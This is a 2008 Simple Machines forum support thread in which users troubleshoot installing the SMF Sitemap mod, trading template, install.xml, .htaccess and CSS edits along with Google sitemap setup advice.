'extra_before' => $settings['linktree_inline'] ? $txt[118] . ': ' : ''

Title: Re: SMF Sitemap
Post by: Sudhakar Arjunan on October 25, 2008, 04:05:54 PM
you have really solved my issue,

I got it working perfectly without a single error.

Since am in SEO, i know how much this mod will contribute for the development of a website.

Thanks a lot Slammed Dime.
Title: Re: SMF Sitemap
Post by: genieuk on October 25, 2008, 04:28:55 PM
site map error again  :(

It is either me or google,

Well few days ago i changed my domain to .com instead of .co.cc, everything switched fine etc, no problems at all.

i channged domain in google webmaster tools and type in     
index.php?action=sitemap;xml

Google is now saying there are errors.

Instead of me typing please see attached image and it says the errors, i dont understand, as from what i can tell all seems ok my end, i re-submitted earlier aswell but just not sure what the problem is and how to solve it ???

Thanks
Mathew
Title: Re: SMF Sitemap
Post by: SlammedDime on October 25, 2008, 04:36:21 PM
It has nothing to do with the sitemap... it's how you setup your site in google.  You need to tell google that your site is www.foreverlastingfriends.com, not foreverlastingfriends.com (notice the www. on the former).
Title: Re: SMF Sitemap
Post by: genieuk on October 25, 2008, 05:03:24 PM
Quote from: SlammedDime on October 25, 2008, 04:36:21 PM
It has nothing to do with the sitemap... it's how you setup your site in google.  You need to tell google that your site is www.foreverlastingfriends.com, not foreverlastingfriends.com (notice the www. on the former).

I am such a fool sometimes, strange thou as my old domain name i did not add www. to that and that never gave errors. Oh well lets see if google is happy now.

I could beat myself up sometimes lol,

Thank you,
Mathew
Title: Re: SMF Sitemap
Post by: The Cadet on October 25, 2008, 08:02:04 PM
The mod won't parse manual instructions. Can I expect that the modification in ./Themes/default/languages/Modifications.french.php is not a huge deal and continue with the installation?
Title: Re: SMF Sitemap
Post by: genieuk on October 25, 2008, 08:04:13 PM
Quote from: The Cadet on October 25, 2008, 08:02:04 PM
The mod won't parse manual instructions. Can I expect that the modification in ./Themes/default/languages/Modifications.french.php is not a huge deal and continue with the installation?

If your site is not french then yes allow it to skip the file, it wont hurt if you not using french language.
Title: Re: SMF Sitemap
Post by: The Cadet on October 26, 2008, 02:37:55 PM
Okay, thanks. ^_°_^
Title: Re: SMF Sitemap
Post by: Muldoon on October 27, 2008, 11:41:44 PM
Hi, I just found out about this mod and I'm very excited about it.  However before jumping in, I was hoping someone might be able to help me ensure I have a smooth install.  Currently on my site, I have TinyPortal 0.9.8 over SMF 1.1.6.  Also I have the theme 'Mesh' set as the default.  I

1) I do want to create an xml sitemap for Google Sitemaps
2) Also my forum is in the www.thethirdoption.net/smf directory so it looks like I have to add the following code to my .htaccess file

Quote
   RewriteEngine on
   RewriteRule ^sitemap.xml$ /smf/index.php?action=sitemap;xml

I then read this:

QuoteManual edits will be required for ALL themes (other than SMF Default Core Theme).

I did check and my theme does not have its own Modifications.english.php file or Modifications.english-utf8.php file.

So at this point, I take it I just install the mod and add to the .htaccess file.  Is this correct?

Now...

I noticed that there are numerous 'File edits'.  I take it I must manually go through all of those?

I then see this at the bottom of:

http://custom.simplemachines.org/mods/index.php?action=parse

Code
add_settings.php
This file should be able to execute standalone.
File Operations
Move the included file "Sitemap.php" to "./Sources".
Move the included file "Sitemap.template.php" to "./Themes/default".

I'm confused about the above part...

Any help would be much appreciated!
Muldoon
Title: Re: SMF Sitemap
Post by: SlammedDime on October 28, 2008, 06:11:57 AM
Install the mod just like any other through the package manager.  Any theme edits, like index.template.php, will need to be made manually on your custom theme, just like any other mod.

If you're installing the entire mod manually, then 'the above part...' will need to be done manually as well... you'll have to open up the mod file, extract the files, and as it says, move Sitemap.php to the source directory, and Sitemap.template.php to the theme directory.  Then put the file 'add_settings.php' in your main SMF directory, then run it, then delete it.
Title: Re: SMF Sitemap
Post by: Sincere on October 29, 2008, 02:32:44 PM
Hi.

I installed successfully the mod, and only had one single warning about a modification that I should manually do in Themes/default/index.template.php

Quote
Find [Select]

            </td>
            <td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">

Add Before [Select]

               <span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">', $txt['sitemap'] ,'</a></span>



I could not do this modification as I could not find that string in the Themes/default/index.template.php. But that is not my question.

my question is that now if you go to
http://mysite.com/forums/index.php?action=sitemap;xml

you get an error that the xml file is mis-shaped or bad format ......

I tried firing the mysite.com/forums/add_settings.php

and got a "Your settings have been entered into the database!"

But still am getting the same error. any help ??


could this be because I am using SMF 2.0 Beta 4 ???




Title: Re: SMF Sitemap
Post by: SlammedDime on October 29, 2008, 03:49:16 PM
Quote from: Frozt on October 14, 2008, 07:23:01 AM
the only incompatibility with 2.0 Beta 4 is the installation in the index.template.php file?

or is possible install SMF Sitemap 1.3.0 in 2.0 Beta 4 with a modification in that part of the installation and the rest code is compatible with this version of SMF?


In a fresh insall of 2.0 Beta 4 the installation only fail in index.template.php file, in this change:

QuoteFind:

</td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">


Add Before:

<span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">', $txt['sitemap'] ,'</a></span>


2.0 Beta 4 have a footer different of 1.1.6


but I try this:

in the line that appear the code that show the link:

XHTML | RSS | WAP2

<li class="last"><a id="button_wap2" href="', $scripturl , '?wap2" class="new_win"><span>WAP2</span></a></li>

I replace that line with:

<li><a id="button_wap2" href="', $scripturl , '?wap2" class="new_win"><span>WAP2</span></a></li>
<li class="last"><a href="'.$scripturl.'?action=sitemap" class="new_win"><span>', $txt['sitemap'] ,'</span></a></li>


and show the Sitemap link like in 1.1.6

XHTML | RSS | WAP2 | Sitemap


After did this I can install SMF Sitemap in 2.0 Beta 4 and aparently it work well



Note: i did this change in the mod package:
unzip smf_sitemap_1.3.0.tar.gz
and edit install.xml file
find this:
<search position="after"><![CDATA[ </td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">
]]></search>
<add><![CDATA[ <span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">', $txt['sitemap'] ,'</a></span>
]]></add>


and remplace by this:
<search position="replace"><![CDATA[ <li class="last"><a id="button_wap2" href="', $scripturl , '?wap2" class="new_win"><span>WAP2</span></a></li>]]></search>
<add><![CDATA[ <li><a id="button_wap2" href="', $scripturl , '?wap2" class="new_win"><span>WAP2</span></a></li>
<li class="last"><a href="'.$scripturl.'?action=sitemap" class="new_win"><span>', $txt['sitemap'] ,'</span></a></li>
]]></add>


repacked and install.

Quote from: SlammedDime on October 14, 2008, 11:13:49 AM
Yes, that is really the only change needed to work on Beta 4, but I won't be releasing a new version until 2.0 hit's the RC stages due to still more template changes in the works, plus I plan on adding features to the sitemap.

That should answer your question regarding Beta 4

As for the other issue, I'd have to see a link, but I"m willing to guess one of two things... either you have adsense code on your forum, or some other code after </html> in your source, or there are some spaces at the very top of the HTML before <doctype>... either of those will foul you up.
Title: Re: SMF Sitemap
Post by: Sincere on October 29, 2008, 04:37:18 PM
Quote from: SlammedDime on October 29, 2008, 03:49:16 PM
As for the other issue, I'd have to see a link, but I"m willing to guess one of two things... either you have adsense code on your forum, or some other code after </html> in your source, or there are some spaces at the very top of the HTML before <doctype>... either of those will foul you up.

thank you very much for your very kind help.

Do you mean that the SEO mod won't generate a correct sitemap when there is adsense code inserted to the forum ???

is not there a way ?

Title: Re: SMF Sitemap
Post by: Sincere on October 29, 2008, 05:21:11 PM
I have failed to install correctly this mod. :-[
Title: Re: SMF Sitemap
Post by: SlammedDime on October 29, 2008, 06:44:45 PM
Quote from: Sincere on October 29, 2008, 04:37:18 PM
Quote from: SlammedDime on October 29, 2008, 03:49:16 PM
As for the other issue, I'd have to see a link, but I"m willing to guess one of two things... either you have adsense code on your forum, or some other code after </html> in your source, or there are some spaces at the very top of the HTML before <doctype>... either of those will foul you up.

thank you very much for your very kind help.

Do you mean that the SEO mod won't generate a correct sitemap when there is adsense code inserted to the forum ???

is not there a way ?


Sure there is, but only if the adsense is inserted correctly.  Like I hinted at, anything after </html> is incorrect and needs to be moved to the correct place and file (index.template.php, before </body>).  Without a link, it's kinda hard to tell you exactly what is wrong.
Title: Re: SMF Sitemap
Post by: Sincere on October 31, 2008, 12:00:12 PM
Quote from: SlammedDime on October 29, 2008, 06:44:45 PM
Quote from: Sincere on October 29, 2008, 04:37:18 PM
Quote from: SlammedDime on October 29, 2008, 03:49:16 PM
As for the other issue, I'd have to see a link, but I"m willing to guess one of two things... either you have adsense code on your forum, or some other code after </html> in your source, or there are some spaces at the very top of the HTML before <doctype>... either of those will foul you up.

thank you very much for your very kind help.

Do you mean that the SEO mod won't generate a correct sitemap when there is adsense code inserted to the forum ???

is not there a way ?


Sure there is, but only if the adsense is inserted correctly.  Like I hinted at, anything after </html> is incorrect and needs to be moved to the correct place and file (index.template.php, before </body>).  Without a link, it's kinda hard to tell you exactly what is wrong.

thank you so much

I have failed to install the mod. I really tried. spent many hours. it did not work for me.

Title: Re: SMF Sitemap
Post by: HistoryHunter on November 06, 2008, 07:29:37 PM
It works fine for me with smf 1.1.6 and TP:
http://historyhuntersinternational.org/index.php?action=sitemap
Added to top and side menu without a problem, then the xml to Google.
Many thanks!
Title: Re: SMF Sitemap
Post by: sub367 on November 08, 2008, 01:23:08 PM
could you update it for 1.1.6?
Title: Re: SMF Sitemap
Post by: SlammedDime on November 08, 2008, 02:40:00 PM
sub - see the post right above yours.
Title: Re: SMF Sitemap
Post by: assam_siddibapa on November 10, 2008, 01:15:09 PM
I have some errors in my error log after installing this mod

8: Undefined index: goto_lastpost
File: /home/legenda1/public_html/forum/Themes/Warzone/BoardIndex.template.php (main sub template - eval?)
Line: 190

8: Undefined index: board_by
File: /home/legenda1/public_html/forum/Themes/Warzone/BoardIndex.template.php (main sub template - eval?)
Line: 191

8: Undefined index: board_in
File: /home/legenda1/public_html/forum/Themes/Warzone/BoardIndex.template.php (main sub template - eval?)
Line: 190

And so on ... please help
Title: Re: SMF Sitemap
Post by: SlammedDime on November 10, 2008, 03:35:22 PM
Those have nothing to do with this mod.
Title: Re: SMF Sitemap
Post by: Sabre™ on November 10, 2008, 04:04:03 PM
Hi mate.
I've started building a site, and have started taking note of the xhtml check.
I've just installed this mod, and Im getting xhtml errors.
There are 3 which I and a staff member here, are trying to discover the root of, and you can see these when you validate the home page. (note; these 3 only occur when validating via the link)

When I go to the sitemap and click validate, I end up with 31 more.
Im new to xhtml validation, so could you come and see whats going on?
The site is [HERE] (http://martialscience.hammersway.com)

Thank You for any assistance :)
Title: Re: SMF Sitemap
Post by: SlammedDime on November 10, 2008, 07:10:25 PM
Those error at the least are starting on your page before the sitemap is even visible.  You'd be better off posting your question in the Graphics and Templates board.  I'll take a look at the XHTML of the sitemap for the next release when 2.0 hit's RC.  I'll be redoing the layout a bit and will take this into consideration.
Title: Re: SMF Sitemap
Post by: Sabre™ on November 10, 2008, 07:17:01 PM
Ahhh...
So the 3 that are being discussed [HERE] (http://www.simplemachines.org/community/index.php?topic=272945.msg1787768#msg1787768), are contributing to the rest displayed when on the Sitemap page?
Ok..  I'll wait until those 3 are sorted, before I post in the graphics board.

I wonder why it is only affecting that section ?? ??

Thanks mate, look forward to the next release also :)
Title: Re: SMF Sitemap
Post by: assam_siddibapa on November 11, 2008, 03:04:26 AM
Quote from: SlammedDime on November 10, 2008, 03:35:22 PM
Those have nothing to do with this mod.

you are right .... but the link is from the site map so ... i think so its because of this mod
Title: Re: SMF Sitemap
Post by: SlammedDime on November 11, 2008, 05:18:14 AM
Quote from: assam_siddibapa on November 11, 2008, 03:04:26 AM
Quote from: SlammedDime on November 10, 2008, 03:35:22 PM
Those have nothing to do with this mod.

you are right .... but the link is from the site map so ... i think so its because of this mod
Quote from: assam_siddibapa on November 10, 2008, 01:15:09 PM
I have some errors in my error log after installing this mod

8: Undefined index: goto_lastpost
File: /home/legenda1/public_html/forum/Themes/Warzone/BoardIndex.template.php (main sub template - eval?)
Line: 190

8: Undefined index: board_by
File: /home/legenda1/public_html/forum/Themes/Warzone/BoardIndex.template.php (main sub template - eval?)
Line: 191

8: Undefined index: board_in
File: /home/legenda1/public_html/forum/Themes/Warzone/BoardIndex.template.php (main sub template - eval?)
Line: 190

And so on ... please help
Those all say BoardIndex... they are not from this mod.  This mod does not modify BoardIndex.  The only template file it modifies is index.template.php, and it has it's own template, Sitemap.template.php
Title: Re: SMF Sitemap
Post by: assam_siddibapa on November 11, 2008, 05:41:55 AM
The whole error msg looks like this

Apply Filter: Only show the error messages of this member  Guest       Today at 18:40:18
Apply Filter: Only show the error messages of this IP address 66.249.71.204      Apply Filter: Only show the error messages of this session 577176c827381f2c20b5ea4177a0ce7a
Apply Filter: Only show the error messages of this URL http://www.*****.com/forum/index.php?action=sitemap;xml
Apply Filter: Only show the errors with the same message
8: Undefined index: board_by
File: /home/legenda1/public_html/forum/Themes/Warzone/BoardIndex.template.php (main sub template - eval?)
Line: 191
Title: Re: SMF Sitemap
Post by: SlammedDime on November 11, 2008, 10:17:45 AM
I can't do much since you blocked your URL out... I kinda need to see what is going on first hand.  All I can think of is that the xml sitemap is not loading, or rather, the action is not being parsed, so it's being redirected to BoardIndex.  Have you upgraded SMF recently (like from 1.1.6 to 1.1.7?).  If so, how?  Did you do the simple update via package manager?  Upload new files?

You can open up index.php and search for 'sitemap' => array.  If that string is not found, the mod is not installed properly.  But those errors are not from this mod.
Title: Re: SMF Sitemap
Post by: assam_siddibapa on November 11, 2008, 11:54:45 AM
my url is www.legendaryhackerz.com
Title: Re: SMF Sitemap
Post by: Sabre™ on November 11, 2008, 04:41:03 PM
I like how your board displays its child boards.
Did you design that theme?  I was looking for a link to the author etc so I could look at the code.
Title: Re: SMF Sitemap
Post by: SlammedDime on November 11, 2008, 05:09:46 PM
Quote from: assam_siddibapa on November 11, 2008, 11:54:45 AM
my url is www.legendaryhackerz.com
Your account has been suspended...
Title: Re: SMF Sitemap
Post by: Sabre™ on November 11, 2008, 11:59:14 PM
I just clicked that link, and its still there/back up.
Title: Re: SMF Sitemap
Post by: SlammedDime on November 12, 2008, 05:07:04 AM
Yea, you don't have the sitemap mod installed... maybe you used to, but it's not there anymore
Title: Re: SMF Sitemap
Post by: assam_siddibapa on November 12, 2008, 10:40:47 AM
i have it installed ... just the link is there on the default
Title: Re: SMF Sitemap
Post by: Sabre™ on November 12, 2008, 11:11:38 AM
Quote from: Sabre™ on November 11, 2008, 04:41:03 PM
I like how your board displays its child boards.
Did you design that theme?  I was looking for a link to the author etc so I could look at the code.

Thanks for putting the authors link back up :)
The warzone theme huh. nice.
Title: Re: SMF Sitemap
Post by: sombra on November 18, 2008, 11:39:19 AM
well i was told to come here im a total newbie hehehe can someone tell my basikly whats this mod word and how can it help me?

2)im using smf 2.04 theme darkbreak do i need to make any manual modifications it will work on my vercion?

3)if i install the mod how do i know its working fine? with out error


sorry for my spelling english is not my native langeage them important thing is that im trying :P

Title: Re: SMF Sitemap
Post by: SlammedDime on November 18, 2008, 12:36:38 PM
Quote from: Frozt on October 14, 2008, 07:23:01 AM
the only incompatibility with 2.0 Beta 4 is the installation in the index.template.php file?

or is possible install SMF Sitemap 1.3.0 in 2.0 Beta 4 with a modification in that part of the installation and the rest code is compatible with this version of SMF?


In a fresh insall of 2.0 Beta 4 the installation only fail in index.template.php file, in this change:

QuoteFind:

</td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">


Add Before:

<span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">', $txt['sitemap'] ,'</a></span>


2.0 Beta 4 have a footer different of 1.1.6


but I try this:

in the line that appear the code that show the link:

XHTML | RSS | WAP2

<li class="last"><a id="button_wap2" href="', $scripturl , '?wap2" class="new_win"><span>WAP2</span></a></li>

I replace that line with:

<li><a id="button_wap2" href="', $scripturl , '?wap2" class="new_win"><span>WAP2</span></a></li>
<li class="last"><a href="'.$scripturl.'?action=sitemap" class="new_win"><span>', $txt['sitemap'] ,'</span></a></li>


and show the Sitemap link like in 1.1.6

XHTML | RSS | WAP2 | Sitemap


After did this I can install SMF Sitemap in 2.0 Beta 4 and aparently it work well



Note: i did this change in the mod package:
unzip smf_sitemap_1.3.0.tar.gz
and edit install.xml file
find this:
<search position="after"><![CDATA[ </td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">
]]></search>
<add><![CDATA[ <span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">', $txt['sitemap'] ,'</a></span>
]]></add>


and remplace by this:
<search position="replace"><![CDATA[ <li class="last"><a id="button_wap2" href="', $scripturl , '?wap2" class="new_win"><span>WAP2</span></a></li>]]></search>
<add><![CDATA[ <li><a id="button_wap2" href="', $scripturl , '?wap2" class="new_win"><span>WAP2</span></a></li>
<li class="last"><a href="'.$scripturl.'?action=sitemap" class="new_win"><span>', $txt['sitemap'] ,'</span></a></li>
]]></add>


repacked and install.

Quote from: SlammedDime on October 14, 2008, 11:13:49 AM
Yes, that is really the only change needed to work on Beta 4, but I won't be releasing a new version until 2.0 hit's the RC stages due to still more template changes in the works, plus I plan on adding features to the sitemap.

That should answer your question regarding Beta 4

As for the other issue, I'd have to see a link, but I"m willing to guess one of two things... either you have adsense code on your forum, or some other code after </html> in your source, or there are some spaces at the very top of the HTML before <doctype>... either of those will foul you up.

As for knowing if it's working right... visit the sitemap... simple as that.  Check the XML link to make sure no errors appear on the screen.
Title: Re: SMF Sitemap
Post by: sombra on November 18, 2008, 01:16:40 PM
An Error Has Occurred!
You cannot download or install new packages because the Packages directory or one of the files in it are not writable!

strange i had installed other mods with no problem what can it be?
Title: Re: SMF Sitemap
Post by: sombra on November 19, 2008, 03:20:34 PM
can someone tell me whats directoris i can look for and what permision they need to have?

i dont want to do it manual last time i tried that end up deleting all the web it was a mess :-[ i have mi page running im scared to make somthing wrong and loose everithing
Title: Re: SMF Sitemap
Post by: Sabre™ on November 19, 2008, 05:03:07 PM
Quote from: sombra on November 18, 2008, 01:16:40 PM
An Error Has Occurred!
You cannot download or install new packages because the Packages directory or one of the files in it are not writable!

Try chmod that, and your temp directory to 777.
If this didn't alter the db, I'd do the manual install for you, but I leave that sort of assistance to staff here, as you cannot/shouldnt give access to that area freely!   understand?

Sorry I couldn't be of more assistance

Good luck :)
Title: Re: SMF Sitemap
Post by: sombra on November 19, 2008, 05:45:27 PM
mmm thinking i had always had problems after installing the portal in my forum

so i fixt it manually by adding a temp folder and cmod it to 777

and adding the no temp mod

now.. my problem is another it says

Error in Package Installation
At least one error was encountered during a test installation of this package. It is strongly recommended that you do not continue with installation unless you know what you are doing, and have made a backup very recently. This error may be caused by a conflict between the package you're trying to install and another package you have already installed, an error in the package, a package which requires another package that you don't have installed yet, or a package designed for another version of SMF.

the only thing i see wrong in the installation is this

Installations actions for "SMF Sitemap":
Installing this package will perform the following actions:
      Type    Action    Description
   1.    Execute Code    add_settings.php    
*    2.    Execute Modification    ./index.php    Test successful
      1.    Add Before    ./index.php    Test successful
*    3.    Execute Modification    ./Sources/Admin.php    Test successful
      1.    Add After    ./Sources/Admin.php    Test successful
*    4.    Execute Modification    ./Sources/ManageSettings.php    Test successful
      1.    Add After    ./Sources/ManageSettings.php    Test successful
      2.    Add After    ./Sources/ManageSettings.php    Test successful
      3.    Add Before    ./Sources/ManageSettings.php    Test successful
*    5.    Execute Modification    ./Themes/default/index.template.php    Test failed
      1.    Add Before    ./Themes/default/index.template.php    Test failed
*    6.    Execute Modification    ./Themes/default/languages/Help.english.php    Test successful
      1.    Add Before    ./Themes/default/languages/Help.english.php    Test successful
*    7.    Execute Modification    ./Themes/default/languages/Modifications.english.php    Test successful
      1.    Add Before    ./Themes/default/languages/Modifications.english.php    Test successful
*    8.    Execute Modification    ./Themes/default/languages/Who.english.php    Test successful
      1.    Add Before    ./Themes/default/languages/Who.english.php    Test successful
*    9.    Execute Modification    ./Themes/default/style.css    Test successful
      1.    Add Before    ./Themes/default/style.css    Test successful
   10.    Execute Modification    ./Themes/default/languages/Help.french.php    Skipping file
   11.    Execute Modification    ./Themes/default/languages/Modifications.french.php    Skipping file
   12.    Execute Modification    ./Themes/default/languages/Who.french.php    Skipping file
   13.    Extract File    ./Sources/Sitemap.php    
   14.    Extract File    ./Themes/default/Sitemap.template.php    
Install in Other Themes
To use this modification in themes other than the default, the package manager needs to make additional changes to the other themes. If you'd like to install this modification in the other themes, please select these themes below.
      Classic YaBB SE Theme
      Execute Modification    ./Themes/classic/index.template.php    Test failed
      1.    Add Before    ./Themes/classic/index.template.php    Test failed
      Execute Modification    ./Themes/classic/style.css    Test successful
      1.    Add Before    ./Themes/classic/style.css    Test successful
      Babylon Theme
      Execute Modification    ./Themes/babylon/index.template.php    Test successful
      1.    Add Before    ./Themes/babylon/index.template.php    Test successful
      Execute Modification    ./Themes/babylon/style.css    Test successful
      1.    Add Before    ./Themes/babylon/style.css    Test successful
      Darkbreak
      Execute Modification    ./Themes/darkbreak_20b4/index.template.php    Test failed
      1.    Add Before    ./Themes/darkbreak_20b4/index.template.php    Test failed
      Execute Modification    ./Themes/darkbreak_20b4/style.css    Test successful
      1.    Add Before    ./Themes/darkbreak_20b4/style.css    Test successful


what can you reccomend me?   im using darkbreak theme
Title: Re: SMF Sitemap
Post by: Sabre™ on November 19, 2008, 05:49:27 PM
You would have to manually install the code for your  index.template.php  in your default theme.

With the other themes, are they installed?  Are you using them?
Title: Re: SMF Sitemap
Post by: SlammedDime on November 19, 2008, 05:49:47 PM
It's not going to work on any 2.0b4 theme without a little fudging around on index.template.php, that what my first post above to you was about, please read what I quoted.
Title: Re: SMF Sitemap
Post by: sombra on November 19, 2008, 06:08:59 PM
im sorry im triying to tell you guys that firt this is not my langueage so i dont understand everuthing you say and im newbie so sorry if it bothers that i keep asking im triying to understand

QuoteYou would have to manually install the code for your  index.template.php  in your default theme.

your telling me that that is the only thing i have to do manualy and it will be fully instaled?

second do i need to install first and then manual edit the index.template.php of the theme im using or the other way around?

and thanks for the suport  and understanding

Title: Re: SMF Sitemap
Post by: Sabre™ on November 19, 2008, 06:28:12 PM
Going from your previous post,  yes,  the  index.template  for your Default theme is all you need to edit.
For the other themes, you will have to manually edit those also.

SlammedDime pointed you to a previous post of his, be sure to read that buddy
I will leave you in his specialised hands.
Good luck :)
Title: Re: SMF Sitemap
Post by: sombra on November 19, 2008, 07:52:02 PM
im triying to find the lines but im not findind them to edit them in the file of the theme im using darckbreak can some one chek this for me please
Title: Re: SMF Sitemap
Post by: sombra on November 19, 2008, 08:52:05 PM
what im looking for in this file to change and be a little basic in the instruccion im no expert and wont understand if you go to technically on me
Title: Re: SMF Sitemap
Post by: MOI DREAD on November 19, 2008, 09:36:56 PM
Hey everyone, im a friend of sombra's and we are working on the same page together.

Now we are really new at this and we dont know where to find the problem.
SlamDime told him to add some codes. Exactly where?  In the mod files or in the theme files ?

Thanks for being patient and thanks in advance for any help :) 
Title: Re: SMF Sitemap
Post by: Sabre™ on November 19, 2008, 10:10:06 PM
Add that code in the footer of the index.template.
You have already altered that area, so do the same, adding the link in that area or another.

It is difficult to assist with little information, and nothing to look at.
A link to the site is always the better option.

Look at  [THIS] (http://docs.simplemachines.org/index.php?topic=494)  for future reference. :)

Good luck
Title: Re: SMF Sitemap
Post by: sombra on November 20, 2008, 08:32:23 AM
what code?

www.todoilegal.net

it woud be easy it you woud go to the point i already have like 20 post asking and asking for a basic manual and you keep going around my questions im thinking your not understanding that i dont understant everithing im reading becouse i speak spanish or maybe becouse im not a programer but still im here trying to make you guys just to give me a simple instruction of what i need to do i already read the other post and no i still dont understand that why im still posting

can you give me a new hint? forget theres other post if you can and tell me what i need to do but please dont keep posting the same thing again and again
Title: Re: SMF Sitemap
Post by: hartiberlin on November 20, 2008, 11:19:58 AM
Does this Sitemap mod run with SMF 1.1.7 and TinyPortal 0.983 ?

Many thanks.
Title: Re: SMF Sitemap
Post by: Sabre™ on November 20, 2008, 03:04:18 PM
@ hartiberlin

Yes it works perfect with 1.1.7. and TP 0.983 :)



@ sombra


When your friend says this
Quote from: MOI DREAD on November 19, 2008, 09:36:56 PMSlamDime told him to add some codes. Exactly where?

This means he knows the code, and is asking where to put it.
English is my 3rd language, and if I don't understand, I learn, I don't get angry. :)

Do you understand what the footer is?
That is where the code for the index.template usually goes, but you have changed the whole area.

I don't know how you want to set it up, try this, then ,change how you want

LOOK FOR
<div id="footerarea">

ADD AFTER
<li class="last"><a href="'.$scripturl.'?action=sitemap" class="new_win"><span>', $txt['sitemap'] ,'</span></a></li>

I do not use SMF 2 beta 4 and took the code from [HERE] (http://www.simplemachines.org/community/index.php?topic=170813.msg1751714#msg1751714)

If you still dont understand, then ask NIBOGO to come here and read to you.

Good luck :) 


wOOt my 600th post :D     * dances a jig
Title: Re: SMF Sitemap
Post by: Sabre™ on November 20, 2008, 04:06:09 PM
[THIS] (http://www.simplemachines.org/community/index.php?topic=170813.msg1804176#msg1804176) is where SlammedDime was telling you to look at that code.
Look above that post, that is you no?

He also said this to you on this page
Quote from: SlammedDime on November 19, 2008, 05:49:47 PM
It's not going to work on any 2.0b4 theme without a little fudging around on index.template.php, that what my first post above to you was about, please read what I quoted.

NIBOGO is the Moderator in the Spanish section of this website.

And you are welcome :)

EDIT:
You removed your post sombra.
Why?  :-\
Title: Re: SMF Sitemap
Post by: sombra on November 20, 2008, 04:06:45 PM
mm thanks but you got to try to understand that not everybody has the same knoleage in this area

so thanks for your help al last i can do that
Title: Re: SMF Sitemap
Post by: Sabre™ on November 20, 2008, 04:11:39 PM
Quote from: sombra on November 20, 2008, 04:06:45 PM
mm thanks but you got to try to understand that not everybody has the same knoleage in this area

I do understand that, thats why I am here trying to help you.
I do not know any coding, I cant even code my own name, but I try, and read the posts people make.
Then try myself.
Everyone here knows I cannot code, but take the time to try and learn.
I am a labourer buddy :)  Driving forklifts is what I do, not coding.
But I try ;)
Title: Re: SMF Sitemap
Post by: sombra on November 20, 2008, 04:15:58 PM
thanks for undesrtanding me its a little frustrating some times wen you wana get somthing done and dont know how

but well

y made the change you told me to do

and installed the smf even if it was telling me one test failed i did it manual so did the install

now i have a sitemap on my forum on the footer it suposed to look like this?

http://todoilegal.net/index.php?action=forum


? its all fine can you tell me and agian thanks
Title: Re: SMF Sitemap
Post by: Sabre™ on November 20, 2008, 04:22:10 PM
Yes that is it buddy. That is how it is supposed to be.
Good job (https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fwww.postsmile.net%2Fimg%2F19%2F1942.gif&hash=42cd69283eccfe590865ee3fae6fe4254686921d)

You are most welcome :)
Title: Re: SMF Sitemap
Post by: sombra on November 20, 2008, 04:24:45 PM
haha i fell your making laugth of me hahaha but i deserv it hehehe

again thanks whit out your help cudent done it :D
Title: Re: SMF Sitemap
Post by: Sabre™ on November 20, 2008, 04:35:30 PM
Oh wait, do you like your footer to the left, or in the middle?

If you want your copyright and sitemap text in the middle, then go into your css and look for
footerarea
Then add this under it
text-align:center;

so now it looks like this
#footerarea {
padding: 15px 0 0 45px;
color: #888;
font-family:tahoma;
font-size: 11px;
    text-align: center;
}


Look like this now
(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fimg442.imageshack.us%2Fimg442%2F1869%2F10456316wu3.png&hash=16726b5f491686bb380b55eab7da3e1d0068f14c)

look like this after
(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fimg91.imageshack.us%2Fimg91%2F6558%2F32484283ah8.png&hash=f205f29fea740eea99159abda7287065607b7bdd)
right click and select view image for big picture
Title: Re: SMF Sitemap
Post by: lobo777 on November 21, 2008, 04:37:11 PM
I tried to install this mod (great mod idea by the way!!) on my 1.1.7... I searched through this topic for answers but being somewhat of an amateur at this stuff, I was thoroughly confused, because the topic contains 31+ pages that refer to various versions of this mod.  There was no XML link or any change that I could see after installation.  I looked at the install documentation for this version and damn - there sure are a ton of edits that need to be done for being automatically installed through the package section.  I am NOT using a default theme so I'm used to changing a couple files with most mods. 

Glad that the advanced peeps can use this, but it doesn't seem efficient or organized enough for less experienced coders.  You're obviously very skilled and it's a great mod - my intention of this reply was just to let inexperienced people know that its not going to be all peachy keen once you install it via admin.

Thanks for the mod, and pls realize I am just trying to add my take on this mod, not to shoot it down - with this many posts, its obvious its a great mod!!  If you have any suggestions for me or corrections, please let me know - perhaps I missed something.
Title: Re: SMF Sitemap
Post by: SlammedDime on November 21, 2008, 05:30:49 PM
QuoteI looked at the install documentation for this version and damn - there sure are a ton of edits that need to be done for being automatically installed through the package section.
Could you point me to the documentation your referring to?  The only template change required on non default themes is on index.template.php and on style.css, and that is to display the link to the Sitemap itself and to add two small styles.  Not difficult by any means that I can think of.

As for the XML link, as an admin, you will always see it.  As a regular user or guest, you will only see it if the admin has enabled it, in the settings with the rest of the sitemap settings.
Title: Re: SMF Sitemap
Post by: Sabre™ on November 21, 2008, 07:08:27 PM
Is it a good idea to let visitors see that XML page mate?
Do they have to be able to see it, so bots can?
I dont think it is a problem, but Im new to this, so Im not quite sure.
Or should it be only visible to admins?

Thanks for the info :)
Title: Re: SMF Sitemap
Post by: SlammedDime on November 22, 2008, 09:12:25 AM
Anyone can see the XML page, the setting only determines who sees the link to it.  Depending on forum size, it could cause small server load, so to have visitors unnecessarily loading it could bog the site down.
Title: Re: SMF Sitemap
Post by: lobo777 on November 22, 2008, 01:33:50 PM
My mistake - perhaps I read the documentation incorrectly - could have been referring to manual install... but it was the documentation on the SMF mod download page under version SMF1.1.7.  I'll give it another shot!  It was probably misreading - I had been buried deep in some work for about 10 hours straight when I read it!

Where will the XML link show on the forum and where can the setting be found in Admin?
